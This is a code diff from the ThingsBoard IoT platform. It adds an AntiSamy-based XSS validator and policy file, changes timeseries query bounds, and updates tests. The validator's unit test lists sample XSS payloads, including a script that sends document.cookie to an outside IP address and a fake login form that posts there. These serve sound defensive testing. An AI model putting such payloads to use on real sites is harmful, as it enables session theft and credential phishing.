31 39 .setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits())
... ...
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/util/SslUtil.java renamed from common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/util/SslUtil.java
... ... @@ -13,13 +13,12 @@
13 13 * See the License for the specific language governing permissions and
14 14 * limitations under the License.
15 15 */
16   -package org.thingsboard.server.transport.mqtt.util;
  16 +package org.thingsboard.server.common.transport.util;
17 17
18 18 import lombok.extern.slf4j.Slf4j;
19 19 import org.springframework.util.Base64Utils;
20 20 import org.thingsboard.server.common.msg.EncryptionUtil;
21 21
22   -import java.io.IOException;
23 22 import java.security.cert.Certificate;
24 23 import java.security.cert.CertificateEncodingException;
25 24
... ...
... ... @@ -112,6 +112,14 @@
112 112 <artifactId>jackson-databind</artifactId>
113 113 </dependency>
114 114 <dependency>
  115 + <groupId>org.hibernate.validator</groupId>
  116 + <artifactId>hibernate-validator</artifactId>
  117 + </dependency>
  118 + <dependency>
  119 + <groupId>org.glassfish</groupId>
  120 + <artifactId>javax.el</artifactId>
  121 + </dependency>
  122 + <dependency>
115 123 <groupId>org.springframework</groupId>
116 124 <artifactId>spring-context</artifactId>
117 125 </dependency>
... ... @@ -199,6 +207,11 @@
199 207 <scope>test</scope>
200 208 </dependency>
201 209 <dependency>
  210 + <groupId>org.junit.jupiter</groupId>
  211 + <artifactId>junit-jupiter-params</artifactId>
  212 + <scope>test</scope>
  213 + </dependency>
  214 + <dependency>
202 215 <groupId>org.springframework</groupId>
203 216 <artifactId>spring-context-support</artifactId>
204 217 </dependency>
... ...
... ... @@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
17 17
18 18 import com.fasterxml.jackson.databind.JsonNode;
19 19 import lombok.extern.slf4j.Slf4j;
  20 +import org.hibernate.validator.HibernateValidator;
  21 +import org.hibernate.validator.HibernateValidatorConfiguration;
  22 +import org.hibernate.validator.cfg.ConstraintMapping;
20 23 import org.thingsboard.server.common.data.BaseData;
21 24 import org.thingsboard.server.common.data.EntityType;
22 25 import org.thingsboard.server.common.data.id.TenantId;
  26 +import org.thingsboard.server.common.data.validation.NoXss;
23 27 import org.thingsboard.server.dao.TenantEntityDao;
24 28 import org.thingsboard.server.dao.exception.DataValidationException;
25 29
  30 +import javax.validation.ConstraintViolation;
  31 +import javax.validation.Validation;
  32 +import javax.validation.Validator;
26 33 import java.util.HashSet;
27 34 import java.util.Iterator;
  35 +import java.util.List;
28 36 import java.util.Set;
29 37 import java.util.function.Function;
30 38 import java.util.regex.Matcher;
31 39 import java.util.regex.Pattern;
  40 +import java.util.stream.Collectors;
32 41
33 42 @Slf4j
34 43 public abstract class DataValidator<D extends BaseData<?>> {
35 44 private static final Pattern EMAIL_PATTERN =
36 45 Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
37 46
  47 + private static Validator fieldsValidator;
  48 +
  49 + static {
  50 + initializeFieldsValidator();
  51 + }
  52 +
38 53 public void validate(D data, Function<D, TenantId> tenantIdFunction) {
39 54 try {
40 55 if (data == null) {
41 56 throw new DataValidationException("Data object can't be null!");
42 57 }
  58 +
  59 + List<String> validationErrors = validateFields(data);
  60 + if (!validationErrors.isEmpty()) {
  61 + throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
  62 + }
  63 +
43 64 TenantId tenantId = tenantIdFunction.apply(data);
44 65 validateDataImpl(tenantId, data);
45 66 if (data.getId() == null) {
... ... @@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
81 102 return emailMatcher.matches();
82 103 }
83 104
  105 + private List<String> validateFields(D data) {
  106 + Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
  107 + return constraintsViolations.stream()
  108 + .map(ConstraintViolation::getMessage)
  109 + .distinct()
  110 + .collect(Collectors.toList());
  111 + }
  112 +
84 113 protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
85 114 TenantEntityDao tenantEntityDao,
86 115 long maxEntities,
... ... @@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
111 140 throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
112 141 }
113 142 }
  143 +
  144 + private static void initializeFieldsValidator() {
  145 + HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
  146 + ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
  147 + constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
  148 + validatorConfiguration.addMapping(constraintMapping);
  149 +
  150 + fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
  151 + }
114 152 }
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import com.google.common.io.Resources;
  19 +import lombok.extern.slf4j.Slf4j;
  20 +import org.owasp.validator.html.AntiSamy;
  21 +import org.owasp.validator.html.Policy;
  22 +import org.owasp.validator.html.PolicyException;
  23 +import org.owasp.validator.html.ScanException;
  24 +import org.thingsboard.server.common.data.validation.NoXss;
  25 +
  26 +import javax.validation.ConstraintValidator;
  27 +import javax.validation.ConstraintValidatorContext;
  28 +
  29 +@Slf4j
  30 +public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
  31 + private static final AntiSamy xssChecker = new AntiSamy();
  32 + private static Policy xssPolicy;
  33 +
  34 + @Override
  35 + public void initialize(NoXss constraintAnnotation) {
  36 + if (xssPolicy == null) {
  37 + try {
  38 + xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
  39 + } catch (Exception e) {
  40 + log.error("Failed to set xss policy: {}", e.getMessage());
  41 + }
  42 + }
  43 + }
  44 +
  45 + @Override
  46 + public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
  47 + if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
  48 + return true;
  49 + }
  50 +
  51 + try {
  52 + return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
  53 + } catch (ScanException | PolicyException e) {
  54 + return false;
  55 + }
  56 + }
  57 +}
... ...
... ... @@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt
33 33
34 34 @Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " +
35 35 "AND tskv.key = :entityKey " +
36   - "AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  36 + "AND tskv.ts >= :startTs AND tskv.ts < :endTs")
37 37 List<TimescaleTsKvEntity> findAllWithLimit(
38 38 @Param("entityId") UUID entityId,
39 39 @Param("entityKey") int key,
... ... @@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt
44 44 @Modifying
45 45 @Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " +
46 46 "AND tskv.key = :entityKey " +
47   - "AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  47 + "AND tskv.ts >= :startTs AND tskv.ts < :endTs")
48 48 void delete(@Param("entityId") UUID entityId,
49 49 @Param("entityKey") int key,
50 50 @Param("startTs") long startTs,
... ...
... ... @@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture;
32 32 public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvCompositeKey> {
33 33
34 34 @Query("SELECT tskv FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " +
35   - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  35 + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
36 36 List<TsKvEntity> findAllWithLimit(@Param("entityId") UUID entityId,
37 37 @Param("entityKey") int key,
38 38 @Param("startTs") long startTs,
... ... @@ -42,7 +42,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
42 42 @Transactional
43 43 @Modifying
44 44 @Query("DELETE FROM TsKvEntity tskv WHERE tskv.entityId = :entityId " +
45   - "AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  45 + "AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
46 46 void delete(@Param("entityId") UUID entityId,
47 47 @Param("entityKey") int key,
48 48 @Param("startTs") long startTs,
... ... @@ -51,7 +51,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
51 51 @Async
52 52 @Query("SELECT new TsKvEntity(MAX(tskv.strValue)) FROM TsKvEntity tskv " +
53 53 "WHERE tskv.strValue IS NOT NULL " +
54   - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  54 + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
55 55 CompletableFuture<TsKvEntity> findStringMax(@Param("entityId") UUID entityId,
56 56 @Param("entityKey") int entityKey,
57 57 @Param("startTs") long startTs,
... ... @@ -63,7 +63,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
63 63 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
64 64 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
65 65 "'MAX') FROM TsKvEntity tskv " +
66   - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  66 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
67 67 CompletableFuture<TsKvEntity> findNumericMax(@Param("entityId") UUID entityId,
68 68 @Param("entityKey") int entityKey,
69 69 @Param("startTs") long startTs,
... ... @@ -73,7 +73,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
73 73 @Async
74 74 @Query("SELECT new TsKvEntity(MIN(tskv.strValue)) FROM TsKvEntity tskv " +
75 75 "WHERE tskv.strValue IS NOT NULL " +
76   - "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  76 + "AND tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
77 77 CompletableFuture<TsKvEntity> findStringMin(@Param("entityId") UUID entityId,
78 78 @Param("entityKey") int entityKey,
79 79 @Param("startTs") long startTs,
... ... @@ -85,7 +85,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
85 85 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
86 86 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
87 87 "'MIN') FROM TsKvEntity tskv " +
88   - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  88 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
89 89 CompletableFuture<TsKvEntity> findNumericMin(
90 90 @Param("entityId") UUID entityId,
91 91 @Param("entityKey") int entityKey,
... ... @@ -98,7 +98,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
98 98 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
99 99 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
100 100 "SUM(CASE WHEN tskv.jsonValue IS NULL THEN 0 ELSE 1 END)) FROM TsKvEntity tskv " +
101   - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  101 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
102 102 CompletableFuture<TsKvEntity> findCount(@Param("entityId") UUID entityId,
103 103 @Param("entityKey") int entityKey,
104 104 @Param("startTs") long startTs,
... ... @@ -110,7 +110,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
110 110 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
111 111 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
112 112 "'AVG') FROM TsKvEntity tskv " +
113   - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  113 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
114 114 CompletableFuture<TsKvEntity> findAvg(@Param("entityId") UUID entityId,
115 115 @Param("entityKey") int entityKey,
116 116 @Param("startTs") long startTs,
... ... @@ -122,7 +122,7 @@ public interface TsKvRepository extends CrudRepository<TsKvEntity, TsKvComposite
122 122 "SUM(CASE WHEN tskv.longValue IS NULL THEN 0 ELSE 1 END), " +
123 123 "SUM(CASE WHEN tskv.doubleValue IS NULL THEN 0 ELSE 1 END), " +
124 124 "'SUM') FROM TsKvEntity tskv " +
125   - "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts > :startTs AND tskv.ts <= :endTs")
  125 + "WHERE tskv.entityId = :entityId AND tskv.key = :entityKey AND tskv.ts >= :startTs AND tskv.ts < :endTs")
126 126 CompletableFuture<TsKvEntity> findSum(@Param("entityId") UUID entityId,
127 127 @Param("entityKey") int entityKey,
128 128 @Param("startTs") long startTs,
... ...
... ... @@ -550,8 +550,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD
550 550 + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM
551 551 + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM
552 552 + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM
553   - + "AND " + ModelConstants.TS_COLUMN + " > ? "
554   - + "AND " + ModelConstants.TS_COLUMN + " <= ?");
  553 + + "AND " + ModelConstants.TS_COLUMN + " >= ? "
  554 + + "AND " + ModelConstants.TS_COLUMN + " < ?");
555 555 }
556 556 return deleteStmt;
557 557 }
... ... @@ -740,8 +740,8 @@ public class CassandraBaseTimeseriesDao extends AbstractCassandraBaseTimeseriesD
740 740 + "AND " + ModelConstants.ENTITY_ID_COLUMN + EQUALS_PARAM
741 741 + "AND " + ModelConstants.KEY_COLUMN + EQUALS_PARAM
742 742 + "AND " + ModelConstants.PARTITION_COLUMN + EQUALS_PARAM
743   - + "AND " + ModelConstants.TS_COLUMN + " > ? "
744   - + "AND " + ModelConstants.TS_COLUMN + " <= ?"
  743 + + "AND " + ModelConstants.TS_COLUMN + " >= ? "
  744 + + "AND " + ModelConstants.TS_COLUMN + " < ?"
745 745 + (type == Aggregation.NONE ? " ORDER BY " + ModelConstants.TS_COLUMN + " " + orderBy + " LIMIT ?" : ""));
746 746 }
747 747 }
... ...
... ... @@ -91,8 +91,8 @@ $$
91 91 DECLARE
92 92 tenant_cursor CURSOR FOR select tenant.id as tenant_id
93 93 from tenant;
94   - tenant_id_record varchar;
95   - customer_id_record varchar;
  94 + tenant_id_record uuid;
  95 + customer_id_record uuid;
96 96 tenant_ttl bigint;
97 97 customer_ttl bigint;
98 98 deleted_for_entities bigint;
... ...
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
  57 + description="The 'lang' attribute tells the browser what language the element's attribute values and content are written in">
  58 +
  59 + <regexp-list>
  60 + <regexp value="[a-zA-Z]{2,20}"/>
  61 + </regexp-list>
  62 + </attribute>
  63 +
  64 + <attribute name="title"
  65 + description="The 'title' attribute provides text that shows up in a 'tooltip' when a user hovers their mouse over the element">
  66 +
  67 + <regexp-list>
  68 + <regexp name="htmlTitle"/>
  69 + </regexp-list>
  70 + </attribute>
  71 +
  72 + <attribute name="href" onInvalid="filterTag">
  73 +
  74 + <regexp-list>
  75 + <regexp name="onsiteURL"/>
  76 + <regexp name="offsiteURL"/>
  77 + </regexp-list>
  78 + </attribute>
  79 +
  80 + <attribute name="align"
  81 + description="The 'align' attribute of an HTML element is a direction word, like 'left', 'right' or 'center'">
  82 +
  83 + <literal-list>
  84 + <literal value="center"/>
  85 + <literal value="left"/>
  86 + <literal value="right"/>
  87 + <literal value="justify"/>
  88 + <literal value="char"/>
  89 + </literal-list>
  90 + </attribute>
  91 + <attribute name="style"
  92 + description="The 'style' attribute provides the ability for users to change many attributes of the tag's contents using a strict syntax"/>
  93 + </common-attributes>
  94 +
  95 + <global-tag-attributes>
  96 + <attribute name="title"/>
  97 + <attribute name="lang"/>
  98 + <attribute name="style"/>
  99 + </global-tag-attributes>
  100 +
  101 + <tags-to-encode>
  102 + <tag>g</tag>
  103 + <tag>grin</tag>
  104 + </tags-to-encode>
  105 +
  106 + <tag-rules>
  107 +
  108 + <tag name="script" action="remove"/>
  109 + <tag name="noscript" action="remove"/>
  110 + <tag name="iframe" action="remove"/>
  111 + <tag name="frameset" action="remove"/>
  112 + <tag name="frame" action="remove"/>
  113 + <tag name="noframes" action="remove"/>
  114 + <tag name="head" action="remove"/>
  115 + <tag name="title" action="remove"/>
  116 + <tag name="base" action="remove"/>
  117 + <tag name="style" action="remove"/>
  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
\ No newline at end of file
... ...
... ... @@ -24,7 +24,10 @@ import java.util.Arrays;
24 24
25 25 @RunWith(ClasspathSuite.class)
26 26 @ClassnameFilters({
27   - "org.thingsboard.server.dao.service.sql.*SqlTest"
  27 + "org.thingsboard.server.dao.service.sql.*SqlTest",
  28 + "org.thingsboard.server.dao.service.attributes.sql.*SqlTest",
  29 + "org.thingsboard.server.dao.service.event.sql.*SqlTest",
  30 + "org.thingsboard.server.dao.service.timeseries.sql.*SqlTest"
28 31 })
29 32 public class SqlDaoServiceTestSuite {
30 33
... ...
  1 +/**
  2 + * Copyright © 2016-2021 The Thingsboard Authors
  3 + *
  4 + * Licensed under the Apache License, Version 2.0 (the "License");
  5 + * you may not use this file except in compliance with the License.
  6 + * You may obtain a copy of the License at
  7 + *
  8 + * http://www.apache.org/licenses/LICENSE-2.0
  9 + *
  10 + * Unless required by applicable law or agreed to in writing, software
  11 + * distributed under the License is distributed on an "AS IS" BASIS,
  12 + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  13 + * See the License for the specific language governing permissions and
  14 + * limitations under the License.
  15 + */
  16 +package org.thingsboard.server.dao.service;
  17 +
  18 +import org.junit.jupiter.api.BeforeAll;
  19 +import org.junit.jupiter.params.ParameterizedTest;
  20 +import org.junit.jupiter.params.provider.ValueSource;
  21 +
  22 +import javax.validation.ConstraintValidatorContext;
  23 +
  24 +import static org.junit.jupiter.api.Assertions.assertFalse;
  25 +import static org.mockito.Mockito.mock;
  26 +
  27 +public class NoXssValidatorTest {
  28 + private static NoXssValidator validator;
  29 +
  30 + @BeforeAll
  31 + public static void beforeAll() {
  32 + validator = new NoXssValidator();
  33 + validator.initialize(null);
  34 + }
  35 +
  36 + @ParameterizedTest
  37 + @ValueSource(strings = {
  38 + "aboba<a href='a' onmouseover=alert(1337) style='font-size:500px'>666",
  39 + "9090<body onload=alert('xsssss')>90909",
  40 + "qwerty<script>new Image().src=\"http://192.168.149.128/bogus.php?output=\"+document.cookie;</script>yyy",
  41 + "bambam<script>alert(document.cookie)</script>",
  42 + "<p><a href=\"http://htmlbook.ru/example/knob.html\">Link!!!</a></p>1221",
  43 + "<h3>Please log in to proceed</h3> <form action=http://192.168.149.128>Username:<br><input type=\"username\" name=\"username\"></br>Password:<br><input type=\"password\" name=\"password\"></br><br><input type=\"submit\" value=\"Log in\"></br>",
  44 + " <img src= \"http://site.com/\" > ",
  45 + "123 <input type=text value=a onfocus=alert(1337) AUTOFOCUS>bebe",
  46 + })
  47 + public void testIsNotValid(String stringWithXss) {
  48 + boolean isValid = validator.isValid(stringWithXss, mock(ConstraintValidatorContext.class));
  49 + assertFalse(isValid);
  50 + }
  51 +
  52 +}
... ...
... ... @@ -143,52 +143,52 @@ public abstract class BaseTimeseriesServiceTest extends AbstractServiceTest {
143 143 public void testFindByQueryAscOrder() throws Exception {
144 144 DeviceId deviceId = new DeviceId(Uuids.timeBased());
145 145
  146 + saveEntries(deviceId, TS - 3);
146 147 saveEntries(deviceId, TS - 2);
147 148 saveEntries(deviceId, TS - 1);
148   - saveEntries(deviceId, TS);
149 149
150 150 List<ReadTsKvQuery> queries = new ArrayList<>();
151 151 queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "ASC"));
152 152
153 153 List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get();
154 154 Assert.assertEquals(3, entries.size());
155   - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0));
156   - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
157   - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2));
  155 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0));
  156 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  157 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2));
158 158
159 159 EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY));
160 160
161 161 entries = tsService.findAll(tenantId, entityView.getId(), queries).get();
162 162 Assert.assertEquals(3, entries.size());
163   - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(0));
164   - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
165   - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(2));
  163 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(0));
  164 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  165 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(2));
166 166 }
167 167
168 168 @Test
169 169 public void testFindByQueryDescOrder() throws Exception {
170 170 DeviceId deviceId = new DeviceId(Uuids.timeBased());
171 171
  172 + saveEntries(deviceId, TS - 3);
172 173 saveEntries(deviceId, TS - 2);
173 174 saveEntries(deviceId, TS - 1);
174   - saveEntries(deviceId, TS);
175 175
176 176 List<ReadTsKvQuery> queries = new ArrayList<>();
177 177 queries.add(new BaseReadTsKvQuery(STRING_KEY, TS - 3, TS, 0, 1000, Aggregation.NONE, "DESC"));
178 178
179 179 List<TsKvEntry> entries = tsService.findAll(tenantId, deviceId, queries).get();
180 180 Assert.assertEquals(3, entries.size());
181   - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0));
182   - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
183   - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2));
  181 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0));
  182 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  183 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2));
184 184
185 185 EntityView entityView = saveAndCreateEntityView(deviceId, Arrays.asList(STRING_KEY));
186 186
187 187 entries = tsService.findAll(tenantId, entityView.getId(), queries).get();
188 188 Assert.assertEquals(3, entries.size());
189   - Assert.assertEquals(toTsEntry(TS, stringKvEntry), entries.get(0));
190   - Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(1));
191   - Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(2));
  189 + Assert.assertEquals(toTsEntry(TS - 1, stringKvEntry), entries.get(0));
  190 + Assert.assertEquals(toTsEntry(TS - 2, stringKvEntry), entries.get(1));
  191 + Assert.assertEquals(toTsEntry(TS - 3, stringKvEntry), entries.get(2));
192 192 }
193 193
194 194 @Test
... ...
  1 +<?xml version="1.0" encoding="UTF-8" ?>
  2 +<!--
  3 +
  4 + Copyright © 2016-2021 The Thingsboard Authors
  5 +
  6 + Licensed under the Apache License, Version 2.0 (the "License");
  7 + you may not use this file except in compliance with the License.
  8 + You may obtain a copy of the License at
  9 +
  10 + http://www.apache.org/licenses/LICENSE-2.0
  11 +
  12 + Unless required by applicable law or agreed to in writing, software
  13 + distributed under the License is distributed on an "AS IS" BASIS,
  14 + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  15 + See the License for the specific language governing permissions and
  16 + limitations under the License.
  17 +
  18 +-->
  19 +<anti-samy-rules>
  20 +
  21 + <directives>
  22 + <directive name="omitXmlDeclaration" value="true"/>
  23 + <directive name="omitDoctypeDeclaration" value="false"/>
  24 + <directive name="maxInputSize" value="100000"/>
  25 + <directive name="embedStyleSheets" value="false"/>
  26 + <directive name="useXHTML" value="true"/>
  27 + <directive name="formatOutput" value="true"/>
  28 + </directives>
  29 +
  30 + <common-regexps>
  31 +
  32 + <!--
  33 + From W3C:
  34 + This attribute assigns a class name or set of class names to an
  35 + element. Any number of elements may be assigned the same class
  36 + name or names. Multiple class names must be separated by white
  37 + space characters.
  38 + -->
  39 + <regexp name="htmlTitle" value="[a-zA-Z0-9\s\-_',:\[\]!\./\\\(\)&amp;]*"/>
  40 +
  41 + <!-- force non-empty with a '+' at the end instead of '*'
  42 + -->
  43 + <regexp name="onsiteURL" value="([\p{L}\p{N}\p{Zs}/\.\?=&amp;\-~])+"/>
  44 +
  45 + <!-- ([\w\\/\.\?=&amp;;\#-~]+|\#(\w)+)
  46 + -->
  47 +
  48 + <!-- ([\p{L}/ 0-9&amp;\#-.?=])*
  49 + -->
  50 + <regexp name="offsiteURL"
  51 + value="(\s)*((ht|f)tp(s?)://|mailto:)[A-Za-z0-9]+[~a-zA-Z0-9-_\.@\#\$%&amp;;:,\?=/\+!\(\)]*(\s)*"/>
  52 + </common-regexps>
  53 +
  54 + <common-attributes>
  55 +
  56 + <attribute name="lang"
